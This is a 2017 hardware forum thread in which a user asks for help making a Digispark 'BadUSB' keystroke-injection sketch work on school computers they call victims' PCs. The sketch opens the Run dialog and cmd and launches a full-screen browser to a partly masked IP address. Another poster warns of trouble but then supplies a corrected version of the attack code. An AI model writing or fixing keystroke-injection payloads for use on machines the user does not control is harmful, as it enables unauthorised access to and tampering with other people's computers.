Author Topic: [HELP] My digispark wont hack in school :( nor on my laptop  (Read 4031 times)

Riscc

  • Newbie
  • *
  • Posts: 4
My code wont work at school, y? I bout a digispark, put in into ma pc, everything worked fine and still on my laptop i can write code on it. But when i connect the badusb to a school pc nothing happens the same on my laptop, but last i tested it worked on my pc. Can uu halp!!!11one

#include "DigiKeyboard.h"

// Delay between keystrokes
#define KEYSTROKE_DELAY 1000

#define  KEY_ESC         0x29  // Escape
#define KEY_MODIFIER_LEFT_GUI 0x08
#define KEY_R 21


int iterationCounter = 0;

void setup() {
 
  // initialize the digital pin as an output.
  pinMode(0, OUTPUT); //LED on Model B
  pinMode(1, OUTPUT); //LED on Model A     
  digitalWrite(0, LOW);    // turn the LED off by making the voltage LOW
  digitalWrite(1, LOW);
  // don't need to set anything up to use DigiKeyboard
}


void loop() {
 
  DigiKeyboard.update();

  if (iterationCounter == 0) {
    // this is generally not necessary but with some older systems it seems to
    // prevent missing the first character after a delay:
    DigiKeyboard.sendKeyStroke(0);
 
 
    // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
    // if doing keyboard stuff because it keeps talking to the computer to make
    // sure the computer knows the keyboard is alive and connected
    DigiKeyboard.delay(KEYSTROKE_DELAY);
 
    DigiKeyboard.sendKeyStroke(KEY_ESC, MOD_GUI_LEFT);
    DigiKeyboard.delay(KEYSTROKE_DELAY);
    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run
    DigiKeyboard.delay(500);
    DigiKeyboard.print("cmd");
    DigiKeyboard.delay(KEYSTROKE_DELAY);
    DigiKeyboard.print("start /max http://88.---.---.254");
    DigiKeyboard.delay(KEYSTROKE_DELAY);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(KEYSTROKE_DELAY);
    DigiKeyboard.sendKeyStroke(KEY_F11);
    DigiKeyboard.delay(KEYSTROKE_DELAY);
   

  }

  delay(1000);
 
  iterationCounter++;
}
« Last Edit: May 16, 2017, 09:11:15 am by Riscc »

KASA

  • Newbie
  • *
  • Posts: 34
Re: [HELP] My digispark wont hack in school :( nor on my laptop
« Reply #1 on: May 16, 2017, 07:35:42 am »
Why would you take up more than 1 bit for an Iteration counter and don't just use an boolean which is set to 1 once? Don't you need to install drivers first? And how about a delay at the start to let the PC recognise the keyboard first? Maybe your PC is faster than the school PC and it takes some time.
Do you know how the language works? Im not trying to offend you but I would try learning the basics of the language first (If you don't understand them yet).
BTW I don't know where you live but even trying this here would get you some trouble...
« Last Edit: May 16, 2017, 07:38:34 am by KASA »

Riscc

  • Newbie
  • *
  • Posts: 4
Re: [HELP] My digispark wont hack in school :( nor on my laptop
« Reply #2 on: May 16, 2017, 09:10:36 am »
This is the first device I have coded and I'm not so familiar with the code, although I had been looking into other codes so I could code the stuff I needed: Minimize windows, open run menu, cmd, start /max ip, f11. I tried to make it so universal as possible. All the pcs i used had the same keyboard layout on: EUN(Swedish/Finnish). Mostly the code was taken from some example on how to open something with keyboard. So I just know what it should be doing and almost how. Could you fix up the code for me? I would be very grateful.

I tested my attiny with many codes, it worked yesterday but today it just wont work.

Riscc

  • Newbie
  • *
  • Posts: 4
Re: [HELP] My digispark wont hack in school :( nor on my laptop
« Reply #3 on: May 16, 2017, 09:31:05 am »
And what Idea is it to install the drivers on the victims pc before to be able to execute the hack ??

KASA

  • Newbie
  • *
  • Posts: 34
Re: [HELP] My digispark wont hack in school :( nor on my laptop
« Reply #4 on: May 16, 2017, 10:21:18 am »
The Drivers are the reason I don't think it'll work. A normal PC doesnt have the Drivers installed yet so the PC can't communicate with the Digispark.
You could try this:
Code: [Select]
#include "DigiKeyboard.h"

// Delay between keystrokes
#define KEYSTROKE_DELAY 1000

#define  KEY_ESC         0x29  // Escape
#define KEY_MODIFIER_LEFT_GUI 0x08
#define KEY_R 21


boolean doLoop = 1;

void setup(){

}


void loop() {

  DigiKeyboard.delay(500);
 
  DigiKeyboard.update();

  if (doLoop == 1) {
    // this is generally not necessary but with some older systems it seems to
    // prevent missing the first character after a delay:
    DigiKeyboard.sendKeyStroke(0);
 
 
    // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
    // if doing keyboard stuff because it keeps talking to the computer to make
    // sure the computer knows the keyboard is alive and connected
    DigiKeyboard.delay(KEYSTROKE_DELAY);
 
    DigiKeyboard.sendKeyStroke(KEY_ESC, MOD_GUI_LEFT);
    DigiKeyboard.delay(KEYSTROKE_DELAY);
    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run
    DigiKeyboard.delay(500);
    DigiKeyboard.print("cmd");
    DigiKeyboard.delay(KEYSTROKE_DELAY);
    DigiKeyboard.print("start /max http://88.---.---.254");
    DigiKeyboard.delay(KEYSTROKE_DELAY);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(KEYSTROKE_DELAY);
    DigiKeyboard.sendKeyStroke(KEY_F11);
    DigiKeyboard.delay(KEYSTROKE_DELAY);
    doLoop = 0;

  }
}

Riscc

  • Newbie
  • *
  • Posts: 4
Re: [HELP] My digispark wont hack in school :( nor on my laptop
« Reply #5 on: May 16, 2017, 10:39:36 am »
my device maybe broken cause it is just windows connected and disconnected sound. On linux I saw 4 add then 4 remove after 2 seconds. Something is looping. I maybe broke it cause i put blue paste the thing u can take of and put back on as many times u want thingy maybe broke something on the chip so it is just doing this, and I think it is cause i put the blue paste on after it worked on my pc, now it doesnt on my laptop, maybe on my pc...

Bigstone

  • Newbie
  • *
  • Posts: 5
Re: [HELP] My digispark wont hack in school :( nor on my laptop
« Reply #6 on: May 17, 2017, 01:24:29 am »
I have a similar problem with mine! It just connects and disconnects repeatedly, frustrating! :P
(http://digistump.com/board/index.php/topic,2673.0.html)